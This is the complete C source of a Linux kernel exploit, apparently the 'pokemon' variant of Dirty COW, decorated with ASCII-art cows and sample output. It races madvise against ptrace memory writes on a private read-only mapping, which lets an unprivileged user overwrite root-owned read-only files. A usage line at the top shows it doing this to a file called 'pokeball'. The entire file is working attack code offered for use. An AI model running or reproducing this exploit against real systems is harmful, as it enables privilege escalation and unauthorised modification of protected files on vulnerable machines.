|
// $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball #include <fcntl.h> //// pikachu #include <pthread.h> //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball #include <string.h> //// pokeball #include <stdio.h> //// (___) #include <stdint.h> //// (o o)_____/ #include <sys/mman.h> //// @@ ` \ #include <sys/types.h> //// \ ____, /miltank #include <sys/stat.h> //// // // #include <sys/wait.h> //// ^^ ^^ #include <sys/ptrace.h> //// mmap bc757000 #include <unistd.h> //// madvise 0 ////////////////////////////////////////////// ptrace 0 ////////////////////////////////////////////// miltank ////////////////////////////////////////////// int f ;// file descriptor void *map ;// memory map pid_t pid ;// process id pthread_t pth ;// thread struct stat st ;// file info ////////////////////////////////////////////// void *madviseThread(void *arg) {// madvise thread int i,c=0 ;// counters for(i=0;i<200000000;i++)//////////////////// loop to 2*10**8 c+=madvise(map,100,MADV_DONTNEED) ;// race condition printf("madvise %d\n\n",c) ;// sum of errors }// /madvise thread ////////////////////////////////////////////// int main(int argc,char *argv[]) {// entrypoint if(argc<3)return 1 ;// ./d file contents printf("%s \n\ (___) \n\ (o o)_____/ \n\ @@ ` \\ \n\ \\ ____, /%s \n\ // // \n\ ^^ ^^ \n\ ", argv[1], argv[2]) ;// dirty cow f=open(argv[1],O_RDONLY) ;// open read only file fstat(f,&st) ;// stat the fd map=mmap(NULL ,// mmap the file st.st_size+sizeof(long) ,// size is filesize plus padding PROT_READ ,// read-only MAP_PRIVATE ,// private mapping for cow f ,// file descriptor 0) ;// zero printf("mmap %lx\n\n",(unsigned long)map);// sum of error code pid=fork() ;// fork process if(pid) {// if parent waitpid(pid,NULL,0) ;// wait for child int u,i,o,c=0,l=strlen(argv[2]) ;// util vars (l=length) for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l for(o=0;o<l;o++)//////////////////////// repeat for each byte for(u=0;u<10000;u++)////////////////// try 10K times each time c+=ptrace(PTRACE_POKETEXT ,// inject into memory pid ,// process id map+o ,// address *((long*)(argv[2]+o))) ;// value printf("ptrace %d\n\n",c) ;// sum of error code }// otherwise else {// child pthread_create(&pth ,// create new thread NULL ,// null madviseThread ,// run madviseThred NULL) ;// null ptrace(PTRACE_TRACEME) ;// stat ptrace on child kill(getpid(),SIGSTOP) ;// signal parent pthread_join(pth,NULL) ;// wait for thread }// / child return 0 ;// return }// / entrypoint //////////////////////////////////////////////
|
|
|